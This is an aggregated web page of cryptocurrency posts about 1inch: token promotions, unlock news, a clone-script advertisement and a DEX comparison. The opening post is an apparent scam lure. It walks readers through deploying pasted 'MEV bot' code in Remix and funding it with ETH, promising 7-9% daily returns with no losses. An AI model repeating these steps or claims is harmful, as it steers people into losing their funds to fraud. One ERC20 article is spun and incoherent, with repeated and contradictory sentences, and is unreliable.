#what is 1inch exchange

[sough-1]

Easy to Use Arbitrage MEV Bot

Check this short video to see how it works and follow the steps below.

Uniswap is a cryptocurrency exchange which uses a decentralized network protocol. If you trade crypto on Uniswap, 1inch or any other decentralized exchange (DEX), then you need to know about front-running bots sniping profits across exchange’s pools.

You are now able to take advantage of those arbitrages yourself, a benefit that was previously only available to highly skilled devs.

Here we provide you the access to user-friendly (no coding skills required) MEV bot so you can enjoy stress-free passive income from day one. It's our flagship project that we recently released which runs on ETH pairs on Uniswap making profits from arbitrage trades.

Using this smart contract source code allows users to create their own MEV bots which stacks up the profits from automatic trades for the users.

We share this Arbitrage MEV bot smart contract for free, but there’s 0.1% fee charged from users’ profits, which goes to us.

How to launch your own arbitrage bot:

     Download MetaMask (if you don’t have it already):

     Access Remix:

3.      Click on the “contracts” folder and then create “New File”. Rename it as you like, i.e: “bot.sol”

Note: If there is a problem if the text is not colored when you create bot.sol and paste the codes from pastebin, try again. If the codes are not colored, you cannot proceed to the next step.

4.      Paste this code in Remix.

5.      Go to the “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and then select “Compile bot.sol”.

Make sure “bot.sol” is selected in the CONTRACT section of the SOLIDITY COMPILER section.

6.      Go to the “DEPLOY & RUN TRANSACTIONS” tab, select the “Injected Provider - Metamask” environment and then “Deploy”. By approving the Metamask contract creation fee, you will have created your own contract.

7.      Copy your newly created contract address as shown on video and fund it with any amount of ETH (minimum 0.5-1 ETH recommended) that you would like the bot to earn with by simply sending ETH to your newly created contract address.

8.      After your transaction is confirmed, click the “start” button to run the bot. Withdraw your ETH at any time by clicking the “Withdraw” button.

That’s it. The bot will start working immediately earning you profits from arbitrage trades on Uniswap pools.

If you have any questions or inquiries for assistance, feel free to contact us on Telegram @MEVbotSupport

FAQ

If many people will use the bot, wouldn’t dilution of profits occur?

We do not plan to limit access to the bot for now because there won’t be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.

What average ROI can I expect?

According to latest data of bot performances (past 3 weeks) ROI is about +7–9% daily per user. Bot does not make any losses, it only executes trades when there’s proper arbitrage opportunity to make profit, so under all circumstances user is always on plus.

What amount of funds bot need to work?

We recommend funding the contract with at least 0.5-1 ETH to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than recommended and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit.

Does it work on other chains or DEXes as well?

No, currently the bot is dedicated only for Ethereum on Uniswap pools.

Example of the bot's operation, which is shown in the screenshots.

[mbelimbing2]

Work X

  Jobs X: Introducing innovative solutions designed to prepare employers for the future of work.

Work Since Jobs Instead of exceeding WL's request by 30x, we decided to reward core contributors only. Internet Jobs - The first fully decentralized job economy with no middlemen charging up to 40% - The future of work is P2P!

X platform for yourself and we can't wait to show it to you, but we're not there yet. In the meantime, we wanted to give you a sneak peek. Just so you become a member of our community. It is important to remember that this first version is focused on the first functional application with core features; There is still a lot of work to be done before we can get the most out of Job X and ensure the platform is at the aesthetic level you expect. However, this release is a very important foundation for the future, we have built everything in a very modular way to ensure it is ready for development.

Anticipating the Future by Working

The synergistic collaboration of Work X, TEN, and Whyz is based on shared aspirations and goals. By combining futuristic technology and visionary leadership, this partnership is expected to foster a systematic, efficient and beneficial framework for global organizations and professionals.

Progressive Achievements so far

Launching Enterprise Client

Funded by the European Commission

Raising 3M USD — Runway: 36 months

10+ Hackathon prizes (Aave, 1inch, WalletConnect, VeChain & more)

Product works using AI Assistant — Building team since 2017

50+ Companies plan to use Jobs

X Work Paradigm Shift Feature

Work X, a buzzword synonymous with recruitment innovation, offers a range of features:

Generative AI Assistant: Work X's AI-based tool that customizes job descriptions and enriches talent profiles to perfection.

Decentralized Identity: A feature exclusive to Jobs

Peer-to-Peer Collaboration: An innovative job cost model* guarantees competitive wages for talent and minimal service costs for companies.

Verified Reference: Works

Unbiased Recruiting: Job X's advanced algorithm ensures candidate-employer alignment based on actual performance metrics.

Assess Competency By Recommending Future Workforce Needs

A candidate's academic performance in college, as demonstrated by their grades and degrees, has traditionally been considered an important factor that employers consider when making a rational decision. A candidate's educational qualifications say a lot about him, but they are not a reliable indicator of his true knowledge and abilities. A person's abilities, characteristics and preferences can be measured in more detail thanks to the development of individual assessment methods [9]. These measurement points are what we call 'indicators' of how well the job is being done. To determine the best match between organizations looking for new talent and individuals looking for new teams, we will first measure teams looking for new talent, then measure individuals looking for new teams. By doing this, we will reduce the number of mismatches that occur in the labor market and guarantee the right distribution of talent everywhere.

Who Owns the Data?

People are losing control not only over their data but also over the advancement of their profession and personal life. In the early days of the internet, the value of data was still given by most people. Big tech businesses that concentrate on data can benefit from this, and they are building new business models with free services in exchange for users' personal data. These companies include Google, Facebook, and LinkedIn. People are slowly starting to realize that they need to restore control over their personal data, as well as their education and growth, because it can be used against them. This happened at a time when technology was developing rapidly. Work

Throughout history, businesses have generally been reluctant to share their data with other businesses due to concerns about their customers' privacy and, ultimately, the risk of losing their competitive advantage. This greatly hinders their capacity to obtain useful information and develop accurate artificial intelligence. We have a strong belief that people should have access to their personal data. We consider this a win-win situation for individuals and businesses, and a path to economic success and personal achievement.

Work Objectives

3jpR3paJ37V8JxyWvtbhvcm5k3roJwHBR4WTALx7XaoRovdzeSS8a2mQxhnJcixCN1kh3cCKFJoSfWCKgagDhN2ht2XxvubCr1DcTo6UUvNJxqPKHkx8abWWDwC29b4Pi2z1k.jpg

Although current solutions are not sustainable, technological developments have made it easier to bridge the gap between employers and workers. In a world of constant technological development, the question arises as to whether the prices charged by freelance platforms stem from a sustainable and efficient business model. Given the emergence of decentralized markets and disintermediation trends, the freelance platform business model may prove to be an inefficient and unsustainable business model. Job Additionally, Work X aims to match supply and demand through an innovative technology platform called Work X Platform. The Work X platform and its various services can be accessed with Work. Users have the possibility to interact with Work

Tokenomics

The $WORK token is intended to provide digital access to the platform via a blockchain-based infrastructure. In this paragraph we will briefly summarize various use cases to answer the question of how tokens are useful. In the near future we will present additional token use cases, so stay tuned!

Token Utility 1: Get Access to Platform Services

To access services in Jobs Examples of other costs we need to add to the transaction cost requirements are for example AI tokens, running servers, development grants, etc.

Utility Token 2: Guarantee for Job Listings

To ensure that all job listings comply with the platform's code of conduct, tokens must be stored.

Utility Token 3: $WORK Platform Support Reward

Platform users who hold $WORK tokens and add liquidity will be rewarded with $WORK tokens in the form of NFTs for their support of the platform and community. Because they contribute more to the maintenance and continuity of the platform, they are important to the future of the platform and deserve recognition.

Utility Token 4: NFT Platform

When users reach milestones in Work By holding and increasing the liquidity of $WORK tokens, they will be rewarded with attractive APRs on top of their tokens.

Token Distribution and Fund Allocation

At the Token Generation Event (TGE), the tokens and funds generated will be allocated proportionally to various use cases and operations. In the “Vesting” column in Table 1 you can see the vesting period of each of these token allocations in months. Not only do the tokens purchased by the initial buyers have a vesting period, in fact the buyers also have the lowest vesting period in most Jobs. For example, the DAO in question will open its funds gradually over 5 years without any tokens being opened on TGE.

Roadmap

Partnership

Team

Work X social media links:

Official Site:   https://landing.workx.io/

Official White Paper:   https://content.workx.io/whitepaper/Work+X+Whitepaper+V6.pdf

Official Twitter:   https://twitter.com/WorkX_official

Official Telegram:   https://t.me/WorkX_Telegram

Official Discord:   https://discord.com/invite/workx

Official Medium:   https://medium.com/@WorkX

Official Linkedin:   https://www.linkedin.com /company/kerja-x-internet-kerja/

Forum Username: Mbelimbing

Forum Profile Link: https://bitcointalk.org/index.php?action=profile;u=3460639

[troymurray]

Digifinex Labs: DYdX to Release $500 Million Worth of Tokens, Representing 30% of its Supply

In the upcoming weeks, several cryptocurrency projects are set to unlock substantial amounts of tokens and conduct airdrops in December. According to TokenUnlocks data, here’s an overview of some of the most notable unlocks for the month.

dYdX’s token price experienced a surge when it announced the delay of the unlock from February to December, with the exchange recently facing a $9 million reduction in its insurance fund due to what its CEO termed a “targeted attack.”

In the coming week, other significant unlocks include Optimism, unlocking 32.21 million tokens valued at $58 million on November 29, and 1inch, set to unlock 98.74 million tokens worth $34.5 million on December 1, according to TokenUnlocks.

[ragunath12]

What are Erc20 Tokens and How is This Standard Different?

The easiest way to create a token is to go to Token Factory, which has a clear interface.

As we mentioned at the beginning of this article, wETH tokens were created for a rather specific purpose. The disadvantages of Mist are its size and the need for synchronization with the blockchain, which sometimes causes problems. That is, the parties to the transaction do not interact with each other directly, but with the erc20 token development smart contract.

Ethereum is not just a cryptocurrency, but an environment, an ecosystem. Each of its users has the right to use the blockchain provided by Ether to create their own applications and projects using smart contracts. This system can be described in a simplified way by comparing the airwaves with the Internet, and distributed applications in it with websites. Moreover, the sites belong not to one owner, but to many — those who purchased the “site” tokens during the ICO process in exchange for ETH coins. That is, a token is the currency of a specific project that circulates on the Ether blockchain.

Ethereum Token

The EOS platform allows you to create dApps, quickly carry out transactions in parallel with others, it is designed for scaling and working with large projects. By combining all the previously listed functions, we get a full-fledged ERC-20 contract. But, as we discussed, smart contracts are not everything. We need to obtain data and information on contract renewal. We have a library for this in the SDK that replaces The Graph, and in this library everything is also written in Kotlin. The creators of the ChainLink project

decided to raise funds for the development of the project by selling tokens as part of the ICO.

Wrapped Ether aims to solve this problem and you may have come across this token before. Next, we will explain why it has become a useful tool for investors and owners in many projects and DApps. ERC20 also facilitates the management of tokens of the same standard for decentralized applications such as Uniswap, AAVE, Sushiswap, 1inch, etc. This table contains a list of holders and the corresponding balance of their tokens.

Although the idea of ​​decentralization sounds compelling, people are not willing to pay large amounts per transaction for its cost. This raises the question of how much people actually care about decentralization. Solana is more centralized than Ethereum, which is why it can have such fast transaction speeds and low fees. We’ve seen a problem with this where the network is down due to having a more centralized point of failure.

The value of the token lies in the fact that the user will receive a guaranteed quality product as a result, or otherwise receive the money paid. Another implemented solution is the tracking function along supply chains, based on requests in manual mode. The blockchain stores all this data, and when requested, provides the necessary information in the database. Today renamed VeChain Thor (from VEN to VET), the platform has also begun to support commercial dApps through the Thor utility token.

Here msg.sender is the investor’s address, and restricted is the address of the token wallet for the founders.

A situation that further encourages decentralized platforms and keeps all power in the hands of users.

Built-in atomic (instant) exchanger with cashback.

However, in a token that is issued during a sale, the problem can be solved.

Solana is more centralized than Ethereum, which is why it can have such fast transaction speeds and low fees.

Ultimately, ChainLink needed to provide solutions for Ethereum smart contracts, so the tokens were based on the most popular ERC20 standard. The ChainLink program has created 1 billion LINK utility tokens, of which 350 million (35%) have been allocated for public sale. Over time, blockchain is increasingly penetrating our lives, and there is a need to understand its basic technologies, including the operation of decentralized applications. Most dApps are currently created on Ethereum, whose capabilities are much more flexible than issuing the usual ERC20 development service tokens. The TransferFrom function allows smart contracts to carry out transfers with parameters specified by the wallet owner.

NFT20 understands that liquidity is a big part of any dex. $500 per day will be distributed as rewards to liquidity providers for liquidity pools on NFT20. As of now, the ETH-MUSE pool will receive the largest daily $MUSE supply of $250MUSE.

Erc20 Tokens Transmit Information From Transaction Hash

The main token utility $MUSE serves as the governance token for the NFT20 dex. Requirements for approval of a crop growing project. $MUSE is an NFT20 governance token that can be earned by providing liquidity to various NFT20 token pairs.

This is the easiest way to get Ethereum into your Exodus wallet. Once the exchange is completed and your Ethereum has been deposited, you can begin managing and/or exchanging assets running on Ethereum. But in the case of ERC721, which is a non-fungible token, each token will have a distinctive characteristic that makes it unique from any other ERC721 token. ERC721 is mainly known for its successful use in the popular game CryptoKitties. But there are many other useful uses for ERC721 contracts. Let us immediately note that it is strictly not recommended to search for an exchange service yourself through a search engine.

If you decide to start experimenting with WETH, we recommend purchasing it with ETH or other tokens, as it is easier and more convenient than interacting with smart contracts for wrapping. In addition, there is another problem — lost coins inside smart contracts. This happens when a contract is used that is not intended for operations with sent tokens. Its developer proposes to solve it using the new ERC-223 standard. The standard is based on ether smart contracts, implemented for the first time in the blockchain of this cryptocurrency.

What Lies Behind Erc Tokens

For example, Bitcoin or Ethereum are fungible tokens, euros or dollars are fungible money, since each token or each euro or dollar has the same value. The antonym of a fungible token is a non-fungible token, which, on the contrary, has its own, unit value as a unique digital work. All content provided by the site, hyperlinks, associated applications, forums, blogs, social networks and other information is taken from third party sources and is intended for informational purposes only. We make no guarantees regarding our content, including, but not limited to, its accuracy or currency.

I calculated the percentage of tokens for the founders and bounty at the end of the sale. Previously, totalSupply — the number of issued tokens corresponded to the number of purchased ones. And we need to count the percentage of those purchased, otherwise the price of the token will be eroded.

What Happens If My NF Value Is More Than 100 Tokens?

Their combination is necessary to disclose the requirements of the parties aimed at the correct fulfillment of obligations and the formation of a procedure for the turnover of assets. A typical fiat stablecoin issuer holds a certain amount of euros, dollars, or other currencies in reserve. Then it issues an equivalent number of tokens. So, for example, if you have a reserve of dollars, you can issue dollar stablecoins. Essentially, you give the smart contract the authority to transfer funds on your behalf. For example, as part of a subscription to certain services, so as not to enter data personally each time.

Provides the ability to avoid accidentally losing tokens inside contracts that are not designed to handle sent tokens. Now you need to wait for the transaction to be confirmed on the blockchain. The waiting time will depend on the network congestion. If you’re in a hurry, you can speed up the process (for example, pay higher fees) to confirm the transaction faster. Among these restrictions is the inability to directly exchange ether for such tokens or vice versa.

Although the project is still young, thanks to the efforts of the team it has already managed to overtake many trading platforms. The objective of the project is to provide reliable reviews of products, services and services, bypassing advertising from its customers. Moreover, these reviews are checked by highly intelligent systems that conduct analysis and exclude low-quality texts, and the publications themselves cannot be deleted. Users who publish them will receive payment in R tokens, and reviews will be saved in the RSS storage. In addition, goods and services can be purchased at a constant price in RVN currency.

Comparison of Ethereum Blockchain Token Standards: Erc

This token is backed by the US dollar, and, in fact, is a stablecoin (a digital asset with a stable price). In ERC-223, this error has been corrected — here you can transfer tokens to smart contracts and wallets with one function. In addition, with ERC-223 tokens, unlike ERC-20, a transfer requires one operation rather than two, which means half the gas required to pay for it. So, Ethereum is a decentralized platform on which smart contracts written in the Solidity programming language can run. It can also run hundreds of decentralized applications.

After this, the funds are credited to the recipient’s wallet balance. Each ERC-721 token is unique and can be used for collecting or declaring ownership. You need to communicate with the smart contract that manages ERC-721 tokens differently — not using numbers, but specifying the 256-bit identifier of each token. Tokens can only be moved one at a time and, logically, tokens cannot be divided into parts. This token is used as a currency when paying for advertising on specialized platforms that can be found through the Brave browser. Its function is also to control the visibility of advertising in accordance with thematic queries and user behavioral factors collected by this browser.

In this case, the commission will still have to be paid, since this is the only way to ensure that the transaction is included in the block. And if there is no ether, then you won’t be able to work with ERC-20 tokens. And one of its important components was the ERC-20 framework, which is used to create erc20, these are new tokens or tokens that can interact with Ethereum. What’s interesting is that this adaptive mechanism inspired Bitcoin developers to create a similar standard — BEP-2. ERC20 is the Ethereum protocol, making it possible to generate tokens on the Ethereum blockchain.

Popular Cryptocurrencies

New data appears so quickly that indexers cannot keep up with it. Because of this, users may submit transactions and not see their results in web services. But this is not “the blockchain is broken” or “the tokens were stolen” — it’s just that the indexer has fallen behind the blockchain. To transfer ether, you need to select “transfer ether and tokens” in the menu. Choose to log in via MetaMask, click “Connect to MetaMask”, in the window that opens, enter your password and click “login” and at the bottom of the “Connect” window — “login”.

Among the usual offline exchange offices in every city, you cannot find those that will agree to exchange Tether ERC20 for cash. This is explained by the fact that they are associated with banks and official currencies, but not with digital assets. By process of elimination, we come to the logical conclusion that for exchanging Tether ERC20 for cash, exchangers are the only rational, convenient and safe option.

This way, you will be able to pay more attention to selecting exchange conditions, getting the opportunity to buy Tether at the best price. These six simple steps have enabled wallet developers and exchanges to create a single code base that can interoperate with any ERC-20 contract. The approve function checks whether the smart contract still has tokens. It is a current industry standard and is used by thousands of different cryptocurrency projects. Here msg.sender is the investor’s address, and restricted is the address of the token wallet for the founders.

It is distinguished by its support by hard real currency (in this case, the American dollar). This makes stablecoin a convenient tool for savings and mutual settlements. With its help, it is possible to conduct financial transactions, erasing state borders and difficulties. A series of unique tokens called CryptoPunks is considered one of the most significant in the NFT hype. It was created back in 2017, and now the volume of token trading continues to break all records in the cryptosphere. Here are some of the most significant sudden wealth stories for investors who know how to wait.

Erc20: Description of the Standard, Features of Erc Tokens, Supported Wallets

As a result, Ethereum Request for Comments 20, also known as the ERC-20 development token standard, was invented. By using tokens to perform specific functions in a smart contract, you make the process simpler and clearer. In addition, tokens also play into the overall value of ETH. Each step in a smart contract is a transaction or a set of manipulations that has its own price, expressed in gas. Ether is the currency that powers everything on Ethereum.

PoW mining requires special, expensive equipment that consumes a lot of energy and is difficult to maintain. Although the most popular Ethereum client is currently written in Google GO, the choice of convenient language for creating smart contracts is quite large. Ethereum offers developers a choice of languages ​​like Vyper, Bamboo, Serpent or Solidity. This is a blockchain platform with enormous throughput, processing several tens of thousands of requests per second.

[togrp7]

1inch Acquires $10 Million in Ethereum Amid Massive Fund Withdrawal from Crypto Investment Fund

Summary In an unprecedented move, 1inch, the well-known decentralized exchange aggregator, has purchased a staggering $10 million worth of Ethereum. What makes this even more riveting? This acquisition comes in the wake of a significant withdrawal from a major crypto investment fund. Let’s peel back the layers and find out what’s going on. The Withdrawal What Triggered the Buy? A major crypto…

[stevblog]

1inch Exchange Clone Script - Develop Your Cryptocurrency Exchange similar to 1inch Exchange

In the world of cryptocurrency, decentralized exchanges have gained significant popularity. These exchanges allow users to trade cryptocurrencies directly from their wallets without the need for an intermediary. One such decentralized exchange is 1inch exchange, which offers users the ability to make trades across multiple platforms with the best possible rates.

What is 1inch Exchange Clone Script?

A 1inch exchange clone script is a ready-made software solution that replicates the functionalities and features of the original 1inch exchange. It allows entrepreneurs and developers to create their own decentralized exchange platform similar to 1inch. This white label solution provides a cost-effective and time-efficient way to enter the decentralized exchange market.

Understanding the 1inch Exchange Clone Script:

To fully comprehend the potential of a 1inch exchange clone script, it is important to understand the underlying technology and concepts. The 1inch exchange is built on the Ethereum blockchain and utilizes smart contracts to facilitate the trading process. Smart contracts are self-executing contracts with the terms of the agreement directly written into lines of code. They automatically execute transactions once the predetermined conditions are met.

The 1inch exchange clone script replicates the smart contract functionality of the original exchange. It allows users to execute trades directly from their wallets, ensuring a secure and transparent trading experience. The clone script also includes features such as liquidity aggregation, which enables users to access multiple liquidity sources and find the best rates for their trades.

Benefits of using a 1inch Exchange Clone Script:

There are several benefits to using a 1inch exchange clone script for creating your own decentralized exchange platform. Firstly, it provides a ready-made solution that saves you time and effort in developing the exchange from scratch. The clone script is already tested and proven, ensuring a reliable and efficient trading experience for your users.

Secondly, a white label 1inch exchange clone script allows you to customize the platform according to your brand and business requirements. You can add your own logo, design elements, and features to create a unique and personalized exchange. This level of customization helps in establishing your brand identity and attracting users to your platform.

Furthermore, a 1inch exchange clone script provides a cost-effective solution compared to building an exchange from the ground up. Developing a decentralized exchange requires significant technical expertise and resources. By using a clone script, you can save on development costs and allocate your resources to other aspects of your business.

Features to Look for in a 1inch Exchange Clone Script:

When selecting a 1inch exchange clone script, it is essential to consider the features it offers. Here are some key features to look for:

Smart Contract Integration: Ensure that the clone script includes smart contract integration to enable secure and automated trading.

Liquidity Aggregation: Look for a clone script that offers liquidity aggregation, allowing users to access liquidity from multiple sources.

User-Friendly Interface: The clone script should have an intuitive and user-friendly interface for seamless trading experience.

Security Measures: Check if the clone script incorporates robust security measures to protect user funds and data.

Customizability: Choose a clone script that allows for easy customization, enabling you to create a unique brand identity for your exchange.

Scalability: Ensure that the clone script is scalable to handle increasing user demand and trading volume.

By considering these features, you can select a 1inch exchange clone script that meets your business requirements and provides a superior trading experience for your users.

Why Hivelance is the Best Choice to Develop Your 1inch Exchange Clone Script?

When it comes to developing your 1inch exchange clone script, Hivelance stands out as the top choice. Hivelance is a leading blockchain development company with extensive experience in creating decentralized exchange solutions. They offer a comprehensive white label 1inch exchange clone script that includes all the necessary features for a successful exchange platform.

Hivelance ensures the highest level of quality and security in their clone scripts. Their team of skilled developers thoroughly tests the scripts to ensure a bug-free and reliable product. Additionally, Hivelance provides ongoing support and maintenance to ensure that your exchange runs smoothly and efficiently.

On all our products and services, we offer exclusive Independence Day deals of up to 30% off. Offer Valid Till 16.08.2023. Contact us.

[mitzikernan]

1inch vs Sushiswap

Are you ready to dive into the exciting world of decentralized finance (DeFi)? Today, we'll explore two prominent DeFi platforms: 1inch and Sushiswap. If you're wondering about the differences between these two platforms and how they can benefit you, you've come to the right place. In this blog, we'll unravel the distinctions, features, and unique offerings of 1inch and Sushiswap, giving you a clearer understanding of which platform aligns with your needs and preferences. Let's start by taking a closer look at 1inch. This platform is known for its DEX aggregation capabilities, which means it searches for the best trading rates across multiple decentralized exchanges. By leveraging smart routing algorithms, 1inch minimizes slippage and maximizes trading efficiency. Additionally, 1inch offers a liquidity protocol, allowing users to earn rewards through yield farming. By staking their tokens in 1inch's liquidity pools, users can actively participate in the platform's governance and earn a share of the trading fees generated. If you're looking for optimal trading rates and opportunities to earn rewards through liquidity provision, 1inch might be the right choice for you. Now, let's turn our attention to Sushiswap. This platform stands out for its community-oriented approach and focus on yield farming. Similar to 1inch, Sushiswap allows users to swap tokens directly from their wallets on the Ethereum blockchain. What sets Sushiswap apart is its emphasis on community ownership and incentivization through its native token, SUSHI. Users who provide liquidity on Sushiswap can earn rewards in the form of SUSHI tokens, in addition to a share of the trading fees. Moreover, Sushiswap introduced innovative mechanisms such as BentoBox, a lending and borrowing platform within the ecosystem. If you're interested in community-driven governance, yield farming opportunities, and a range of innovative features, Sushiswap might be the platform for you. Now that you have a glimpse into the differences between 1inch and Sushiswap, it's time to dig deeper and explore the unique offerings of each platform. Whether you're a DeFi enthusiast, a trader seeking competitive rates, or a liquidity provider looking to maximize your earnings, understanding the distinctions between these platforms is crucial. So, keep reading, learn more about 1inch and Sushiswap, and discover which platform aligns with your goals and aspirations in the exciting world of DeFi. Ready to embark on this informative journey? Let's dive in and unravel the differences between 1inch and Sushiswap! Here is a quick chart highlighting the key differences between 1inch and Sushiswap: Aspect1inchSushiswapFunctionalityDEX AggregatorCommunity-Owned DEXCore FocusObtaining Best Trading RatesYield Farming and Liquidity ProvisionNative Token1INCHSUSHIGovernanceToken holders participate in decision-makingToken holders shape the protocol through votingYield FarmingOffers liquidity mining rewardsRewards liquidity providers with SUSHI tokensAdditional FeaturesLiquidity protocol, Pathfinder routing algorithmOnsen for incentivized liquidity provision, BentoBox lendingUser InterfaceUser-friendly and intuitiveSimple and user-friendlySecurityStrong emphasis on user fund and data protectionMultiple security audits, bug bounty programPartnerships and IntegrationsIntegration with wallets and DeFi protocolsCollaboration with other DeFi projects and platformsCommunity EngagementActive community involvement, collaboration, and feedbackVibrant community, community-led initiatives and proposals differences between Sushiswap and 1inch The Genesis of 1inch and Sushiswap The Birth of 1inch The story of 1inch begins in 2020 when Sergej Kunz and Anton Bukov founded the platform. Their vision was to create a decentralized exchange (DEX) aggregator that could offer users the best possible trading rates across multiple liquidity sources. By combining smart contract technology with an intuitive user interface, 1inch aimed to enhance the DeFi trading experience. The Emergence of Sushiswap Sushiswap, on the other hand, was birthed from the renowned decentralized exchange, Uniswap. In August 2020, an anonymous developer named Chef Nomi forked the Uniswap protocol and created Sushiswap. The platform gained attention for its innovative approach, introducing yield farming through liquidity provision and the introduction of its native token, SUSHI. Understanding the Basics 1inch: The DEX Aggregator At its core, 1inch functions as a DEX aggregator, offering users access to multiple decentralized exchanges. It sources liquidity from various platforms and smart routing algorithms to provide users with the most favorable rates. By splitting orders across different DEXs, 1inch minimizes slippage and maximizes trading efficiency. Sushiswap: The Community-Owned DEX Sushiswap is a decentralized exchange built on the Ethereum blockchain. It operates similarly to Uniswap, allowing users to swap ERC-20 tokens directly from their wallets. Sushiswap stands out for its focus on community ownership and incentivization through its native token, SUSHI. Users who provide liquidity on Sushiswap can earn rewards in the form of SUSHI tokens. Key Features and Functionality 1inch: Unleashing the Power of DEX Aggregation One of the standout features of 1inch is its DEX aggregation capability. The platform sources liquidity from a wide range of exchanges, including Uniswap, Sushiswap, Balancer, and many others. This ensures that users get the most competitive rates for their trades. Additionally, 1inch incorporates Pathfinder, an intelligent routing algorithm that splits orders across multiple exchanges to minimize slippage and provide optimal outcomes. Another notable feature of 1inch is its liquidity protocol, which allows liquidity providers to earn rewards through yield farming. By staking their tokens in 1inch's liquidity pools, users can participate in the platform's governance and earn a share of the trading fees generated. Sushiswap: Yield Farming and More Sushiswap gained attention for its innovative approach to yield farming and incentivization. The platform introduced "Sushiswap Chef," a yield farming program that rewards users who provide liquidity to the exchange. By staking their tokens, liquidity providers can earn SUSHI tokens in addition to a share of the trading fees. Furthermore, Sushiswap introduced "Onsen," which is a mechanism to incentivize users to provide liquidity for specific tokens. Onsen offers higher yield rewards for selected pairs, encouraging users to participate in liquidity provision for those assets. Sushiswap also features a unique mechanism called "BentoBox." BentoBox is a lending and borrowing platform built within the Sushiswap ecosystem. It allows users to deposit their assets and earn interest, while also enabling others to borrow those assets. This feature enhances the platform's utility and provides additional opportunities for users to generate passive income. Governance and Community Involvement 1inch: Empowering the Community 1inch believes in the power of community governance and involvement. The platform has introduced its native governance token, 1INCH, which allows holders to participate in the decision-making process regarding protocol upgrades, fee distribution, and other key matters. By staking or holding 1INCH tokens, users can actively contribute to shaping the future of 1inch. Sushiswap: Community Ownership and Governance Sushiswap has gained a reputation for its strong community focus and commitment to decentralization. The platform is governed by its native token, SUSHI, which grants holders voting rights and a say in the platform's development and decision-making. Community members can propose and vote on various initiatives, ensuring a democratic and inclusive governance model. Sushiswap has also introduced a unique mechanism called "SushiBar," where users can stake their SUSHI tokens to earn xSUSHI. This creates an additional incentive for users to participate in the platform's governance while earning rewards. User Experience and Interface 1inch: Simplicity and Efficiency 1inch prides itself on offering a user-friendly interface that makes DeFi trading accessible to both novice and experienced users. The platform's intuitive design enables seamless navigation and straightforward execution of trades. Users can connect their wallets, select the desired tokens, and leverage the platform's smart routing algorithms to achieve the best possible rates. Sushiswap: Simplicity with a Community Touch Sushiswap follows a similar user-centric approach, providing a clean and intuitive interface. Users can easily connect their wallets and start swapping tokens directly from the platform. The user interface emphasizes simplicity while incorporating features such as yield farming and liquidity provision, making it convenient for users to engage with various aspects of the ecosystem. Partnerships and Integrations 1inch: Expanding the Ecosystem 1inch has forged partnerships with several notable projects and platforms to expand its ecosystem. The platform has integrated with Mobile wallets like MetaMask and Ledger, providing users with seamless access to 1inch's services. Furthermore, 1inch has collaborated with other DeFi protocols, including Aave and Compound, to enhance the interoperability and functionality of its platform. Sushiswap: Collaborations and Synergies Sushiswap has also been actively forming partnerships and collaborations to foster the growth of its ecosystem. The platform has integrated with various wallets and platforms, ensuring a smooth user experience. Notably, Sushiswap has collaborated with Yearn.finance, another popular DeFi protocol, to explore synergies and create new opportunities for users. Security and Audits 1inch: Prioritizing Safety 1inch places a strong emphasis on security and has implemented measures to protect user funds and data. The platform has undergone multiple security audits by reputable firms to identify and address any vulnerabilities. Additionally, 1inch has implemented features such as the "Protect" function, which allows users to specify a maximum slippage tolerance for their trades, enhancing the safety and control of transactions. Sushiswap: Safety First Sushiswap is committed to ensuring the security of user funds and has taken numerous steps to mitigate risks. The platform has also undergone multiple security audits to identify and address potential vulnerabilities. Sushiswap has implemented measures such as timelocks and multisig wallets to enhance the security of the protocol. Additionally, the platform has a bug bounty program in place, encouraging users to report any potential security issues and vulnerabilities for rewards. The Role of Native Tokens 1inch: Utility and Governance The native token of 1inch, 1INCH, plays a vital role within the ecosystem. Holders of 1INCH can participate in governance, proposing and voting on important protocol decisions. They can also stake their tokens to earn a portion of the platform's trading fees and participate in liquidity mining programs. The utility and governance aspects of 1INCH make it an integral part of the 1inch platform. Sushiswap: Incentives and Participation SUSHI, the native token of Sushiswap, serves multiple purposes within the ecosystem. Holders of SUSHI can participate in governance, vote on proposals, and shape the direction of the protocol. Moreover, staking SUSHI allows users to earn a share of the protocol's fees, encouraging active participation and engagement. The token also plays a key role in yield farming, incentivizing liquidity providers with additional rewards. Community and Social Impact 1inch: Fostering Collaboration 1inch has fostered a strong community and actively engages with its users. The platform organizes events, webinars, and educational initiatives to promote awareness and understanding of DeFi concepts. Through its community-driven approach, 1inch encourages collaboration and seeks feedback from users to enhance the platform's features and usability continually. Sushiswap: Empowering the Community Sushiswap has built a vibrant and passionate community around its platform. The team regularly interacts with community members through forums, social media channels, and community-led initiatives. Sushiswap has also allocated a portion of the protocol's fees to a treasury controlled by the community, enabling community-led initiatives and development proposals to be funded. Future Developments and Roadmap 1inch: Advancing Innovation 1inch has ambitious plans for the future, aiming to further advance the capabilities of its DEX aggregator. The team is focused on expanding liquidity sources, integrating with new protocols, and improving the overall user experience. Additionally, 1inch plans to explore layer 2 solutions and cross-chain interoperability, aiming to provide users with even greater efficiency and flexibility in their trading activities. Sushiswap: Evolution and Expansion Sushiswap has a roadmap that focuses on the evolution and expansion of its ecosystem. The platform aims to introduce new features and products to enhance the user experience. Sushiswap is actively exploring layer 2 scaling solutions to improve transaction speed and reduce costs. Furthermore, the team is committed to expanding partnerships and integrations to bring a wider range of assets and liquidity to the platform. Conclusion In summary, both 1inch and Sushiswap have made significant contributions to the DeFi space, offering unique features and functionalities. While 1inch excels as a DEX aggregator, providing users with the best trading rates and liquidity across multiple platforms, Sushiswap stands out for its community ownership, yield farming mechanisms, and innovative initiatives like BentoBox. The choice between 1inch and Sushiswap ultimately depends on individual preferences and specific requirements. Users seeking the best rates and optimized trading experience may lean towards 1inch, while those interested in community governance and yield farming opportunities may find Sushiswap more appealing. However, both platforms have a shared commitment to decentralization, security, and innovation in the DeFi space. As the DeFi landscape continues to evolve, it is worth noting that the information provided in this article is based on the current state of 1inch and Sushiswap up until September 2021. These platforms are dynamic and subject to updates, enhancements, and new developments. It is always recommended to conduct thorough research and stay updated with the latest information before engaging with any DeFi platform or making investment decisions. In conclusion, 1inch and Sushiswap are prominent players in the DeFi space, each offering distinct features and functionalities to users. 1inch excels as a DEX aggregator, providing competitive rates and efficient trading experiences, 